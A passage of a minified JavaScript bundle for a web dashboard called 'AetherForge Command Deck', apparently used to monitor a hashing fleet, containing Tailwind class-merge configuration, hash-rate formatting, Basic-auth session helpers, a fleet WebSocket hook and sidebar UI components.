md=ce("Zap",[["path",{d:"M4 14a1 1 0 0 1-.78-1.63l9.9-10.2a.5.5 0 0 1 .86.46l-1.92 6.02A1 1 0 0 0 13 10h7a1 1 0 0 1 .78 1.63l-9.9 10.2a.5.5 0 0 1-.86-.46l1.92-6.02A1 1 0 0 0 11 14z",key:"1xq2db"}]]);function vd(i){var a,s,c="";if(typeof i=="string"||typeof i=="number")c+=i;else if(typeof i=="object")if(Array.isArray(i)){var p=i.length;for(a=0;a{const a=mm(i),{conflictingClassGroups:s,conflictingClassGroupModifiers:c}=i;return{getClassGroupId:g=>{const x=g.split(Rs);return x[0]===""&&x.length!==1&&x.shift(),yd(x,a)||hm(g)},getConflictingClassGroupIds:(g,x)=>{const k=s[g]||[];return x&&c[g]?[...k,...c[g]]:k}}},yd=(i,a)=>{var g;if(i.length===0)return a.classGroupId;const s=i[0],c=a.nextPart.get(s),p=c?yd(i.slice(1),c):void 0;if(p)return p;if(a.validators.length===0)return;const h=i.join(Rs);return(g=a.validators.find(({validator:x})=>x(h)))==null?void 0:g.classGroupId},Hc=/^\[(.+)\]$/,hm=i=>{if(Hc.test(i)){const a=Hc.exec(i)[1],s=a==null?void 0:a.substring(0,a.indexOf(":"));if(s)return"arbitrary.."+s}},mm=i=>{const{theme:a,prefix:s}=i,c={nextPart:new Map,validators:[]};return gm(Object.entries(i.classGroups),s).forEach(([h,g])=>{Es(g,c,h,a)}),c},Es=(i,a,s,c)=>{i.forEach(p=>{if(typeof p=="string"){const h=p===""?a:Qc(a,p);h.classGroupId=s;return}if(typeof p=="function"){if(vm(p)){Es(p(c),a,s,c);return}a.validators.push({validator:p,classGroupId:s});return}Object.entries(p).forEach(([h,g])=>{Es(g,Qc(a,h),s,c)})})},Qc=(i,a)=>{let s=i;return a.split(Rs).forEach(c=>{s.nextPart.has(c)||s.nextPart.set(c,{nextPart:new Map,validators:[]}),s=s.nextPart.get(c)}),s},vm=i=>i.isThemeGetter,gm=(i,a)=>a?i.map(([s,c])=>{const p=c.map(h=>typeof h=="string"?a+h:typeof h=="object"?Object.fromEntries(Object.entries(h).map(([g,x])=>[a+g,x])):h);return[s,p]}):i,ym=i=>{if(i<1)return{get:()=>{},set:()=>{}};let a=0,s=new Map,c=new Map;const p=(h,g)=>{s.set(h,g),a++,a>i&&(a=0,c=s,s=new Map)};return{get(h){let g=s.get(h);if(g!==void 0)return g;if((g=c.get(h))!==void 0)return p(h,g),g},set(h,g){s.has(h)?s.set(h,g):p(h,g)}}},xd="!",xm=i=>{const{separator:a,experimentalParseClassName:s}=i,c=a.length===1,p=a[0],h=a.length,g=x=>{const k=[];let _=0,N=0,j;for(let z=0;zN?j-N:void 0;return{modifiers:k,hasImportantModifier:B,baseClassName:F,maybePostfixModifierPosition:R}};return s?x=>s({className:x,parseClassName:g}):g},wm=i=>{if(i.length<=1)return i;const a=[];let s=[];return i.forEach(c=>{c[0]==="["?(a.push(...s.sort(),c),s=[]):s.push(c)}),a.push(...s.sort()),a},km=i=>({cache:ym(i.cacheSize),parseClassName:xm(i),...pm(i)}),Sm=/\s+/,Cm=(i,a)=>{const{parseClassName:s,getClassGroupId:c,getConflictingClassGroupIds:p}=a,h=[],g=i.trim().split(Sm);let x="";for(let k=g.length-1;k>=0;k-=1){const _=g[k],{modifiers:N,hasImportantModifier:j,baseClassName:P,maybePostfixModifierPosition:B}=s(_);let F=!!B,R=c(F?P.substring(0,B):P);if(!R){if(!F){x=_+(x.length>0?" "+x:x);continue}if(R=c(P),!R){x=_+(x.length>0?" "+x:x);continue}F=!1}const z=wm(N).join(":"),H=j?z+xd:z,Q=H+R;if(h.includes(Q))continue;h.push(Q);const q=p(R,F);for(let J=0;J0?" "+x:x)}return x};function Nm(){let i=0,a,s,c="";for(;i{if(typeof i=="string")return i;let a,s="";for(let c=0;cj(N),i());return s=km(_),c=s.cache.get,p=s.cache.set,h=x,x(k)}function x(k){const _=c(k);if(_)return _;const N=Cm(k,s);return p(k,N),N}return function(){return h(Nm.apply(null,arguments))}}const ge=i=>{const a=s=>s[i]||[];return a.isThemeGetter=!0,a},kd=/^\[(?:([a-z-]+):)?(.+)\]$/i,jm=/^\d+\/\d+$/,Pm=new Set(["px","full","screen"]),_m=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,zm=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,Rm=/^(rgba?|hsla?|hwb|(ok)?(lab|lch)|color-mix)\(.+\)$/,Lm=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,Tm=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/,At=i=>tr(i)||Pm.has(i)||jm.test(i),fn=i=>ir(i,"length",Bm),tr=i=>!!i&&!Number.isNaN(Number(i)),xs=i=>ir(i,"number",tr),Gr=i=>!!i&&Number.isInteger(Number(i)),Mm=i=>i.endsWith("%")&&tr(i.slice(0,-1)),Z=i=>kd.test(i),pn=i=>_m.test(i),Om=new Set(["length","size","percentage"]),Im=i=>ir(i,Om,Sd),Fm=i=>ir(i,"position",Sd),Dm=new Set(["image","url"]),Um=i=>ir(i,Dm,Wm),Am=i=>ir(i,"",Vm),Kr=()=>!0,ir=(i,a,s)=>{const c=kd.exec(i);return c?c[1]?typeof a=="string"?c[1]===a:a.has(c[1]):s(c[2]):!1},Bm=i=>zm.test(i)&&!Rm.test(i),Sd=()=>!1,Vm=i=>Lm.test(i),Wm=i=>Tm.test(i),$m=()=>{const i=ge("colors"),a=ge("spacing"),s=ge("blur"),c=ge("brightness"),p=ge("borderColor"),h=ge("borderRadius"),g=ge("borderSpacing"),x=ge("borderWidth"),k=ge("contrast"),_=ge("grayscale"),N=ge("hueRotate"),j=ge("invert"),P=ge("gap"),B=ge("gradientColorStops"),F=ge("gradientColorStopPositions"),R=ge("inset"),z=ge("margin"),H=ge("opacity"),Q=ge("padding"),q=ge("saturate"),J=ge("scale"),pe=ge("sepia"),Ce=ge("skew"),Pe=ge("space"),ze=ge("translate"),Ge=()=>["auto","contain","none"],Fe=()=>["auto","hidden","clip","visible","scroll"],et=()=>["auto",Z,a],re=()=>[Z,a],Ae=()=>["",At,fn],Be=()=>["auto",tr,Z],tt=()=>["bottom","center","left","left-bottom","left-top","right","right-bottom","right-top","top"],Re=()=>["solid","dashed","dotted","double","none"],he=()=>["normal","multiply","screen","overlay","darken","lighten","color-dodge","color-burn","hard-light","soft-light","difference","exclusion","hue","saturation","color","luminosity"],D=()=>["start","end","center","between","around","evenly","stretch"],G=()=>["","0",Z],A=()=>["auto","avoid","all","avoid-page","page","left","right","column"],y=()=>[tr,Z];return{cacheSize:500,separator:":",theme:{colors:[Kr],spacing:[At,fn],blur:["none","",pn,Z],brightness:y(),borderColor:[i],borderRadius:["none","","full",pn,Z],borderSpacing:re(),borderWidth:Ae(),contrast:y(),grayscale:G(),hueRotate:y(),invert:G(),gap:re(),gradientColorStops:[i],gradientColorStopPositions:[Mm,fn],inset:et(),margin:et(),opacity:y(),padding:re(),saturate:y(),scale:y(),sepia:G(),skew:y(),space:re(),translate:re()},classGroups:{aspect:[{aspect:["auto","square","video",Z]}],container:["container"],columns:[{columns:[pn]}],"break-after":[{"break-after":A()}],"break-before":[{"break-before":A()}],"break-inside":[{"break-inside":["auto","avoid","avoid-page","avoid-column"]}],"box-decoration":[{"box-decoration":["slice","clone"]}],box:[{box:["border","content"]}],display:["block","inline-block","inline","flex","inline-flex","table","inline-table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row-group","table-row","flow-root","grid","inline-grid","contents","list-item","hidden"],float:[{float:["right","left","none","start","end"]}],clear:[{clear:["left","right","both","none","start","end"]}],isolation:["isolate","isolation-auto"],"object-fit":[{object:["contain","cover","fill","none","scale-down"]}],"object-position":[{object:[...tt(),Z]}],overflow:[{overflow:Fe()}],"overflow-x":[{"overflow-x":Fe()}],"overflow-y":[{"overflow-y":Fe()}],overscroll:[{overscroll:Ge()}],"overscroll-x":[{"overscroll-x":Ge()}],"overscroll-y":[{"overscroll-y":Ge()}],position:["static","fixed","absolute","relative","sticky"],inset:[{inset:[R]}],"inset-x":[{"inset-x":[R]}],"inset-y":[{"inset-y":[R]}],start:[{start:[R]}],end:[{end:[R]}],top:[{top:[R]}],right:[{right:[R]}],bottom:[{bottom:[R]}],left:[{left:[R]}],visibility:["visible","invisible","collapse"],z:[{z:["auto",Gr,Z]}],basis:[{basis:et()}],"flex-direction":[{flex:["row","row-reverse","col","col-reverse"]}],"flex-wrap":[{flex:["wrap","wrap-reverse","nowrap"]}],flex:[{flex:["1","auto","initial","none",Z]}],grow:[{grow:G()}],shrink:[{shrink:G()}],order:[{order:["first","last","none",Gr,Z]}],"grid-cols":[{"grid-cols":[Kr]}],"col-start-end":[{col:["auto",{span:["full",Gr,Z]},Z]}],"col-start":[{"col-start":Be()}],"col-end":[{"col-end":Be()}],"grid-rows":[{"grid-rows":[Kr]}],"row-start-end":[{row:["auto",{span:[Gr,Z]},Z]}],"row-start":[{"row-start":Be()}],"row-end":[{"row-end":Be()}],"grid-flow":[{"grid-flow":["row","col","dense","row-dense","col-dense"]}],"auto-cols":[{"auto-cols":["auto","min","max","fr",Z]}],"auto-rows":[{"auto-rows":["auto","min","max","fr",Z]}],gap:[{gap:[P]}],"gap-x":[{"gap-x":[P]}],"gap-y":[{"gap-y":[P]}],"justify-content":[{justify:["normal",...D()]}],"justify-items":[{"justify-items":["start","end","center","stretch"]}],"justify-self":[{"justify-self":["auto","start","end","center","stretch"]}],"align-content":[{content:["normal",...D(),"baseline"]}],"align-items":[{items:["start","end","center","baseline","stretch"]}],"align-self":[{self:["auto","start","end","center","stretch","baseline"]}],"place-content":[{"place-content":[...D(),"baseline"]}],"place-items":[{"place-items":["start","end","center","baseline","stretch"]}],"place-self":[{"place-self":["auto","start","end","center","stretch"]}],p:[{p:[Q]}],px:[{px:[Q]}],py:[{py:[Q]}],ps:[{ps:[Q]}],pe:[{pe:[Q]}],pt:[{pt:[Q]}],pr:[{pr:[Q]}],pb:[{pb:[Q]}],pl:[{pl:[Q]}],m:[{m:[z]}],mx:[{mx:[z]}],my:[{my:[z]}],ms:[{ms:[z]}],me:[{me:[z]}],mt:[{mt:[z]}],mr:[{mr:[z]}],mb:[{mb:[z]}],ml:[{ml:[z]}],"space-x":[{"space-x":[Pe]}],"space-x-reverse":["space-x-reverse"],"space-y":[{"space-y":[Pe]}],"space-y-reverse":["space-y-reverse"],w:[{w:["auto","min","max","fit","svw","lvw","dvw",Z,a]}],"min-w":[{"min-w":[Z,a,"min","max","fit"]}],"max-w":[{"max-w":[Z,a,"none","full","min","max","fit","prose",{screen:[pn]},pn]}],h:[{h:[Z,a,"auto","min","max","fit","svh","lvh","dvh"]}],"min-h":[{"min-h":[Z,a,"min","max","fit","svh","lvh","dvh"]}],"max-h":[{"max-h":[Z,a,"min","max","fit","svh","lvh","dvh"]}],size:[{size:[Z,a,"auto","min","max","fit"]}],"font-size":[{text:["base",pn,fn]}],"font-smoothing":["antialiased","subpixel-antialiased"],"font-style":["italic","not-italic"],"font-weight":[{font:["thin","extralight","light","normal","medium","semibold","bold","extrabold","black",xs]}],"font-family":[{font:[Kr]}],"fvn-normal":["normal-nums"],"fvn-ordinal":["ordinal"],"fvn-slashed-zero":["slashed-zero"],"fvn-figure":["lining-nums","oldstyle-nums"],"fvn-spacing":["proportional-nums","tabular-nums"],"fvn-fraction":["diagonal-fractions","stacked-fractions"],tracking:[{tracking:["tighter","tight","normal","wide","wider","widest",Z]}],"line-clamp":[{"line-clamp":["none",tr,xs]}],leading:[{leading:["none","tight","snug","normal","relaxed","loose",At,Z]}],"list-image":[{"list-image":["none",Z]}],"list-style-type":[{list:["none","disc","decimal",Z]}],"list-style-position":[{list:["inside","outside"]}],"placeholder-color":[{placeholder:[i]}],"placeholder-opacity":[{"placeholder-opacity":[H]}],"text-alignment":[{text:["left","center","right","justify","start","end"]}],"text-color":[{text:[i]}],"text-opacity":[{"text-opacity":[H]}],"text-decoration":["underline","overline","line-through","no-underline"],"text-decoration-style":[{decoration:[...Re(),"wavy"]}],"text-decoration-thickness":[{decoration:["auto","from-font",At,fn]}],"underline-offset":[{"underline-offset":["auto",At,Z]}],"text-decoration-color":[{decoration:[i]}],"text-transform":["uppercase","lowercase","capitalize","normal-case"],"text-overflow":["truncate","text-ellipsis","text-clip"],"text-wrap":[{text:["wrap","nowrap","balance","pretty"]}],indent:[{indent:re()}],"vertical-align":[{align:["baseline","top","middle","bottom","text-top","text-bottom","sub","super",Z]}],whitespace:[{whitespace:["normal","nowrap","pre","pre-line","pre-wrap","break-spaces"]}],break:[{break:["normal","words","all","keep"]}],hyphens:[{hyphens:["none","manual","auto"]}],content:[{content:["none",Z]}],"bg-attachment":[{bg:["fixed","local","scroll"]}],"bg-clip":[{"bg-clip":["border","padding","content","text"]}],"bg-opacity":[{"bg-opacity":[H]}],"bg-origin":[{"bg-origin":["border","padding","content"]}],"bg-position":[{bg:[...tt(),Fm]}],"bg-repeat":[{bg:["no-repeat",{repeat:["","x","y","round","space"]}]}],"bg-size":[{bg:["auto","cover","contain",Im]}],"bg-image":[{bg:["none",{"gradient-to":["t","tr","r","br","b","bl","l","tl"]},Um]}],"bg-color":[{bg:[i]}],"gradient-from-pos":[{from:[F]}],"gradient-via-pos":[{via:[F]}],"gradient-to-pos":[{to:[F]}],"gradient-from":[{from:[B]}],"gradient-via":[{via:[B]}],"gradient-to":[{to:[B]}],rounded:[{rounded:[h]}],"rounded-s":[{"rounded-s":[h]}],"rounded-e":[{"rounded-e":[h]}],"rounded-t":[{"rounded-t":[h]}],"rounded-r":[{"rounded-r":[h]}],"rounded-b":[{"rounded-b":[h]}],"rounded-l":[{"rounded-l":[h]}],"rounded-ss":[{"rounded-ss":[h]}],"rounded-se":[{"rounded-se":[h]}],"rounded-ee":[{"rounded-ee":[h]}],"rounded-es":[{"rounded-es":[h]}],"rounded-tl":[{"rounded-tl":[h]}],"rounded-tr":[{"rounded-tr":[h]}],"rounded-br":[{"rounded-br":[h]}],"rounded-bl":[{"rounded-bl":[h]}],"border-w":[{border:[x]}],"border-w-x":[{"border-x":[x]}],"border-w-y":[{"border-y":[x]}],"border-w-s":[{"border-s":[x]}],"border-w-e":[{"border-e":[x]}],"border-w-t":[{"border-t":[x]}],"border-w-r":[{"border-r":[x]}],"border-w-b":[{"border-b":[x]}],"border-w-l":[{"border-l":[x]}],"border-opacity":[{"border-opacity":[H]}],"border-style":[{border:[...Re(),"hidden"]}],"divide-x":[{"divide-x":[x]}],"divide-x-reverse":["divide-x-reverse"],"divide-y":[{"divide-y":[x]}],"divide-y-reverse":["divide-y-reverse"],"divide-opacity":[{"divide-opacity":[H]}],"divide-style":[{divide:Re()}],"border-color":[{border:[p]}],"border-color-x":[{"border-x":[p]}],"border-color-y":[{"border-y":[p]}],"border-color-s":[{"border-s":[p]}],"border-color-e":[{"border-e":[p]}],"border-color-t":[{"border-t":[p]}],"border-color-r":[{"border-r":[p]}],"border-color-b":[{"border-b":[p]}],"border-color-l":[{"border-l":[p]}],"divide-color":[{divide:[p]}],"outline-style":[{outline:["",...Re()]}],"outline-offset":[{"outline-offset":[At,Z]}],"outline-w":[{outline:[At,fn]}],"outline-color":[{outline:[i]}],"ring-w":[{ring:Ae()}],"ring-w-inset":["ring-inset"],"ring-color":[{ring:[i]}],"ring-opacity":[{"ring-opacity":[H]}],"ring-offset-w":[{"ring-offset":[At,fn]}],"ring-offset-color":[{"ring-offset":[i]}],shadow:[{shadow:["","inner","none",pn,Am]}],"shadow-color":[{shadow:[Kr]}],opacity:[{opacity:[H]}],"mix-blend":[{"mix-blend":[...he(),"plus-lighter","plus-darker"]}],"bg-blend":[{"bg-blend":he()}],filter:[{filter:["","none"]}],blur:[{blur:[s]}],brightness:[{brightness:[c]}],contrast:[{contrast:[k]}],"drop-shadow":[{"drop-shadow":["","none",pn,Z]}],grayscale:[{grayscale:[_]}],"hue-rotate":[{"hue-rotate":[N]}],invert:[{invert:[j]}],saturate:[{saturate:[q]}],sepia:[{sepia:[pe]}],"backdrop-filter":[{"backdrop-filter":["","none"]}],"backdrop-blur":[{"backdrop-blur":[s]}],"backdrop-brightness":[{"backdrop-brightness":[c]}],"backdrop-contrast":[{"backdrop-contrast":[k]}],"backdrop-grayscale":[{"backdrop-grayscale":[_]}],"backdrop-hue-rotate":[{"backdrop-hue-rotate":[N]}],"backdrop-invert":[{"backdrop-invert":[j]}],"backdrop-opacity":[{"backdrop-opacity":[H]}],"backdrop-saturate":[{"backdrop-saturate":[q]}],"backdrop-sepia":[{"backdrop-sepia":[pe]}],"border-collapse":[{border:["collapse","separate"]}],"border-spacing":[{"border-spacing":[g]}],"border-spacing-x":[{"border-spacing-x":[g]}],"border-spacing-y":[{"border-spacing-y":[g]}],"table-layout":[{table:["auto","fixed"]}],caption:[{caption:["top","bottom"]}],transition:[{transition:["none","all","","colors","opacity","shadow","transform",Z]}],duration:[{duration:y()}],ease:[{ease:["linear","in","out","in-out",Z]}],delay:[{delay:y()}],animate:[{animate:["none","spin","ping","pulse","bounce",Z]}],transform:[{transform:["","gpu","none"]}],scale:[{scale:[J]}],"scale-x":[{"scale-x":[J]}],"scale-y":[{"scale-y":[J]}],rotate:[{rotate:[Gr,Z]}],"translate-x":[{"translate-x":[ze]}],"translate-y":[{"translate-y":[ze]}],"skew-x":[{"skew-x":[Ce]}],"skew-y":[{"skew-y":[Ce]}],"transform-origin":[{origin:["center","top","top-right","right","bottom-right","bottom","bottom-left","left","top-left",Z]}],accent:[{accent:["auto",i]}],appearance:[{appearance:["none","auto"]}],cursor:[{cursor:["auto","default","pointer","wait","text","move","help","not-allowed","none","context-menu","progress","cell","crosshair","vertical-text","alias","copy","no-drop","grab","grabbing","all-scroll","col-resize","row-resize","n-resize","e-resize","s-resize","w-resize","ne-resize","nw-resize","se-resize","sw-resize","ew-resize","ns-resize","nesw-resize","nwse-resize","zoom-in","zoom-out",Z]}],"caret-color":[{caret:[i]}],"pointer-events":[{"pointer-events":["none","auto"]}],resize:[{resize:["none","y","x",""]}],"scroll-behavior":[{scroll:["auto","smooth"]}],"scroll-m":[{"scroll-m":re()}],"scroll-mx":[{"scroll-mx":re()}],"scroll-my":[{"scroll-my":re()}],"scroll-ms":[{"scroll-ms":re()}],"scroll-me":[{"scroll-me":re()}],"scroll-mt":[{"scroll-mt":re()}],"scroll-mr":[{"scroll-mr":re()}],"scroll-mb":[{"scroll-mb":re()}],"scroll-ml":[{"scroll-ml":re()}],"scroll-p":[{"scroll-p":re()}],"scroll-px":[{"scroll-px":re()}],"scroll-py":[{"scroll-py":re()}],"scroll-ps":[{"scroll-ps":re()}],"scroll-pe":[{"scroll-pe":re()}],"scroll-pt":[{"scroll-pt":re()}],"scroll-pr":[{"scroll-pr":re()}],"scroll-pb":[{"scroll-pb":re()}],"scroll-pl":[{"scroll-pl":re()}],"snap-align":[{snap:["start","end","center","align-none"]}],"snap-stop":[{snap:["normal","always"]}],"snap-type":[{snap:["none","x","y","both"]}],"snap-strictness":[{snap:["mandatory","proximity"]}],touch:[{touch:["auto","none","manipulation"]}],"touch-x":[{"touch-pan":["x","left","right"]}],"touch-y":[{"touch-pan":["y","up","down"]}],"touch-pz":["touch-pinch-zoom"],select:[{select:["none","text","all","auto"]}],"will-change":[{"will-change":["auto","scroll","contents","transform",Z]}],fill:[{fill:[i,"none"]}],"stroke-w":[{stroke:[At,fn,xs]}],stroke:[{stroke:[i,"none"]}],sr:["sr-only","not-sr-only"],"forced-color-adjust":[{"forced-color-adjust":["auto","none"]}]},conflictingClassGroups:{overflow:["overflow-x","overflow-y"],overscroll:["overscroll-x","overscroll-y"],inset:["inset-x","inset-y","start","end","top","right","bottom","left"],"inset-x":["right","left"],"inset-y":["top","bottom"],flex:["basis","grow","shrink"],gap:["gap-x","gap-y"],p:["px","py","ps","pe","pt","pr","pb","pl"],px:["pr","pl"],py:["pt","pb"],m:["mx","my","ms","me","mt","mr","mb","ml"],mx:["mr","ml"],my:["mt","mb"],size:["w","h"],"font-size":["leading"],"fvn-normal":["fvn-ordinal","fvn-slashed-zero","fvn-figure","fvn-spacing","fvn-fraction"],"fvn-ordinal":["fvn-normal"],"fvn-slashed-zero":["fvn-normal"],"fvn-figure":["fvn-normal"],"fvn-spacing":["fvn-normal"],"fvn-fraction":["fvn-normal"],"line-clamp":["display","overflow"],rounded:["rounded-s","rounded-e","rounded-t","rounded-r","rounded-b","rounded-l","rounded-ss","rounded-se","rounded-ee","rounded-es","rounded-tl","rounded-tr","rounded-br","rounded-bl"],"rounded-s":["rounded-ss","rounded-es"],"rounded-e":["rounded-se","rounded-ee"],"rounded-t":["rounded-tl","rounded-tr"],"rounded-r":["rounded-tr","rounded-br"],"rounded-b":["rounded-br","rounded-bl"],"rounded-l":["rounded-tl","rounded-bl"],"border-spacing":["border-spacing-x","border-spacing-y"],"border-w":["border-w-s","border-w-e","border-w-t","border-w-r","border-w-b","border-w-l"],"border-w-x":["border-w-r","border-w-l"],"border-w-y":["border-w-t","border-w-b"],"border-color":["border-color-s","border-color-e","border-color-t","border-color-r","border-color-b","border-color-l"],"border-color-x":["border-color-r","border-color-l"],"border-color-y":["border-color-t","border-color-b"],"scroll-m":["scroll-mx","scroll-my","scroll-ms","scroll-me","scroll-mt","scroll-mr","scroll-mb","scroll-ml"],"scroll-mx":["scroll-mr","scroll-ml"],"scroll-my":["scroll-mt","scroll-mb"],"scroll-p":["scroll-px","scroll-py","scroll-ps","scroll-pe","scroll-pt","scroll-pr","scroll-pb","scroll-pl"],"scroll-px":["scroll-pr","scroll-pl"],"scroll-py":["scroll-pt","scroll-pb"],touch:["touch-x","touch-y","touch-pz"],"touch-x":["touch"],"touch-y":["touch"],"touch-pz":["touch"]},conflictingClassGroupModifiers:{"font-size":["leading"]}}},bm=Em($m);function ht(...i){return bm(gd(i))}function Cd(i){return i>=1e12?`${(i/1e12).toFixed(2)} TH/s`:i>=1e9?`${(i/1e9).toFixed(2)} GH/s`:i>=1e6?`${(i/1e6).toFixed(2)} MH/s`:i>=1e3?`${(i/1e3).toFixed(2)} KH/s`:`${i.toFixed(0)} H/s`}function Hm(i){const a=Math.floor(i/3600),s=Math.floor(i%3600/60);return a>0?`${a}h ${s}m`:`${s}m`}const ho="aetherforge_auth";function Nd(){const i=sessionStorage.getItem(ho);if(!i)return null;try{const a=JSON.parse(i);if(a.username&&a.password)return a}catch{sessionStorage.removeItem(ho)}return null}function Qm(i){sessionStorage.setItem(ho,JSON.stringify(i))}function Gm(){sessionStorage.removeItem(ho)}function Xr(){return Nd()!==null}function Ls(){const i=Nd();return i?`Basic ${btoa(`${i.username}:${i.password}`)}`:null}async function Nt(i,a={}){const s=Ls(),c=new Headers(a.headers);return s&&c.set("Authorization",s),fetch(i,{...a,headers:c})}async function Km(){try{const i=await Nt("/api/v1/ws/ticket",{method:"POST"});return i.ok?(await i.json()).ticket??null:null}catch{return null}}function Xm(i){const a=window.location.protocol==="https:"?"wss:":"ws:",s=window.location.host,c=`${a}//${s}/api/v1/ws/fleet`;return i?`${c}?ticket=${encodeURIComponent(i)}`:c}const Gc=i=>typeof i=="boolean"?`${i}`:i===0?"0":i,Kc=gd,Ed=(i,a)=>s=>{var c;if((a==null?void 0:a.variants)==null)return Kc(i,s==null?void 0:s.class,s==null?void 0:s.className);const{variants:p,defaultVariants:h}=a,g=Object.keys(p).map(_=>{const N=s==null?void 0:s[_],j=h==null?void 0:h[_];if(N===null)return null;const P=Gc(N)||Gc(j);return p[_][P]}),x=s&&Object.entries(s).reduce((_,N)=>{let[j,P]=N;return P===void 0||(_[j]=P),_},{}),k=a==null||(c=a.compoundVariants)===null||c===void 0?void 0:c.reduce((_,N)=>{let{class:j,className:P,...B}=N;return Object.entries(B).every(F=>{let[R,z]=F;return Array.isArray(z)?z.includes({...h,...x}[R]):{...h,...x}[R]===z})?[..._,j,P]:_},[]);return Kc(i,g,k,s==null?void 0:s.class,s==null?void 0:s.className)},Ym=Ed("inline-flex items-center rounded-full border px-2.5 py-0.5 text-xs font-mono font-medium transition-colors",{variants:{variant:{default:"border-deck-accent/40 bg-deck-accent/10 text-deck-accent",secondary:"border-deck-border bg-deck-panel text-deck-muted",active:"border-deck-accent/60 bg-deck-accent/20 text-deck-accent shadow-glow",probing:"border-deck-amber/60 bg-deck-amber/10 text-deck-amber animate-pulse-slow",failed:"border-deck-danger/60 bg-deck-danger/10 text-deck-danger",idle:"border-deck-border bg-deck-surface text-deck-muted",paused:"border-deck-cyan/40 bg-deck-cyan/10 text-deck-cyan",online:"border-deck-accent/40 bg-deck-accent/10 text-deck-accent",offline:"border-deck-border bg-deck-surface text-deck-muted"}},defaultVariants:{variant:"default"}});function mt({className:i,variant:a,...s}){return d.jsx("div",{className:ht(Ym({variant:a}),i),...s})}const Jm=Ed("inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-deck-accent focus-visible:ring-offset-2 focus-visible:ring-offset-deck-bg disabled:pointer-events-none disabled:opacity-50",{variants:{variant:{default:"bg-deck-accent text-deck-bg hover:bg-deck-accent/90 shadow-glow",secondary:"bg-deck-panel text-deck-text border border-deck-border hover:bg-deck-surface",ghost:"hover:bg-deck-panel hover:text-deck-accent",destructive:"bg-deck-danger/20 text-deck-danger border border-deck-danger/40 hover:bg-deck-danger/30",outline:"border border-deck-border bg-transparent hover:bg-deck-panel hover:text-deck-accent"},size:{default:"h-10 px-4 py-2",sm:"h-8 rounded-md px-3 text-xs",lg:"h-11 rounded-md px-8",icon:"h-10 w-10"}},defaultVariants:{variant:"default",size:"default"}}),st=E.forwardRef(({className:i,variant:a,size:s,...c},p)=>d.jsx("button",{className:ht(Jm({variant:a,size:s,className:i})),ref:p,...c}));st.displayName="Button";const qm=[{to:"/dashboard",label:"Dashboard",icon:Yh},{to:"/forge",label:"Forge",icon:pd},{to:"/calibrate",label:"Calibrate",icon:cd},{to:"/crucible",label:"Crucible",icon:hd},{to:"/seer",label:"Seer",icon:fd}];function Zm({wsState:i="disconnected"}){const a=yo(),s=()=>{Gm(),a("/login")},c=i==="connected"?{variant:"online",label:"WS LIVE",icon:bc}:i==="connecting"?{variant:"probing",label:"WS CONNECTING",icon:bc}:{variant:"offline",label:"WS OFFLINE",icon:fm},p=c.icon;return d.jsxs("aside",{className:"flex h-full w-56 flex-col border-r border-deck-border bg-deck-surface/80 backdrop-blur-sm",children:[d.jsx("div",{className:"border-b border-deck-border p-4",children:d.jsxs("div",{className:"flex items-center gap-2",children:[d.jsx("div",{className:"flex h-8 w-8 items-center justify-center rounded-md border border-deck-accent/40 bg-deck-accent/10",children:d.jsx(dd,{className:"h-4 w-4 text-deck-accent"})}),d.jsxs("div",{children:[d.jsx("p",{className:"text-sm font-semibold tracking-wide text-deck-text",children:"AetherForge"}),d.jsx("p",{className:"font-mono text-[10px] uppercase text-deck-muted",children:"Command Deck"})]})]})}),d.jsx("nav",{className:"flex-1 space-y-1 p-3",children:qm.map(({to:h,label:g,icon:x})=>d.jsxs(Bh,{to:h,className:({isActive:k})=>ht("flex items-center gap-3 rounded-md px-3 py-2 text-sm font-medium transition-colors",k?"bg-deck-accent/10 text-deck-accent border border-deck-accent/30":"text-deck-muted hover:bg-deck-panel hover:text-deck-text"),children:[d.jsx(x,{className:"h-4 w-4"}),g]},h))}),d.jsxs("div",{className:"space-y-3 border-t border-deck-border p-4",children:[d.jsxs(mt,{variant:c.variant,className:"w-full justify-center gap-1.5",children:[d.jsx(p,{className:"h-3 w-3"}),c.label]}),d.jsxs(st,{variant:"ghost",size:"sm",className:"w-full justify-start text-deck-muted",onClick:s,children:[d.jsx(em,{className:"h-4 w-4"}),"Sign out"]})]})]})}function ev(i={}){const{enabled:a=!0,onMessage:s,reconnectIntervalMs:c=5e3}=i,[p,h]=E.useState("disconnected"),[g,x]=E.useState(null),k=E.useRef(null),_=E.useRef(),N=E.useRef(s);N.current=s;const j=E.useCallback(()=>{_.current&&clearTimeout(_.current),k.current&&(k.current.onclose=null,k.current.close(),k.current=null),h("disconnected")},[]),P=E.useCallback(async()=>{if(!a||!Xr()){j();return}j(),h("connecting");let F=null;Ls()&&(F=await Km());const R=Xm(F),z=new WebSocket(R);k.current=z,z.onopen=()=>h("connected"),z.onmessage=H=>{var Q;try{const q=JSON.parse(H.data);x(q),(Q=N.current)==null||Q.call(N,q)}catch{}},z.onerror=()=>h("error"),z.onclose=()=>{k.current=null,h("disconnected"),a&&Xr()&&(_.current=setTimeout(()=>{P()},c))}},[a,j,c]);E.useEffect(()=>(a&&Xr()?P():j(),j),[a,P,j]);const B=E.useCallback(F=>{var R;((R=k.current)==null?void 0:R.readyState)===WebSocket.OPEN&&k.current.send(JSON.stringify(F))},[]);return{connectionState:p,lastMessage:g,connect:P,disconnect:j,send:B}}const jd=E.createContext({connectionState:"disconnected",lastMessage:null});function tv({children:i}){const{connectionState:a,lastMessage:s}=ev({enabled:!0});return d.jsx(jd.Provider,{value:{connectionState:a,lastMessage:s},children:i})}function Pd(){return E.useContext(jd)}function nv(){const{connectionState:i}=Pd();return d.jsxs("div",{className:"flex h-screen overflow-hidden",children:[d.jsx(Zm,{wsState:i}),d.jsx("main",{className:"flex-1 overflow-auto deck-grid-bg",children:d.jsx(sd,{})})]})}function rv(){return d.jsx(tv,{children:d.jsx(nv,{})})}function lv(){const i=vn();return 